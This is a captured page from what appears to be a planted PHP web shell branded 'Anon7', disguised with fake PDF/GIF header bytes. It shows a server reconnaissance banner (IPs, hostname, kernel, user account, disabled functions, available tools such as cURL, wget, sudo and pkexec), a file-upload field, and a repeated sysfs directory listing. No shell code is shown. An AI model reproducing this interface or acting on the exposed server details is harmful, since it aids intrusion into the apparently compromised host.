.. | |||||
device | |||||
power | |||||
subsystem | |||||
bits_per_pixel | |||||
blank | |||||
console | |||||
cursor | |||||
dev | |||||
mode | |||||
modes | |||||
name | |||||
pan | |||||
rotate | |||||
state | |||||
stride | |||||
uevent | |||||
virtual_size |
Anon7 - 2022
SCDN GOK
%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.217.1 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /sys/devices/pci0000:00/0000:00:00.0/subsystem/devices/0000:00:01.0/graphics/fb0/ |
Upload File : |
.. | |||||
device | |||||
power | |||||
subsystem | |||||
bits_per_pixel | |||||
blank | |||||
console | |||||
cursor | |||||
dev | |||||
mode | |||||
modes | |||||
name | |||||
pan | |||||
rotate | |||||
state | |||||
stride | |||||
uevent | |||||
virtual_size |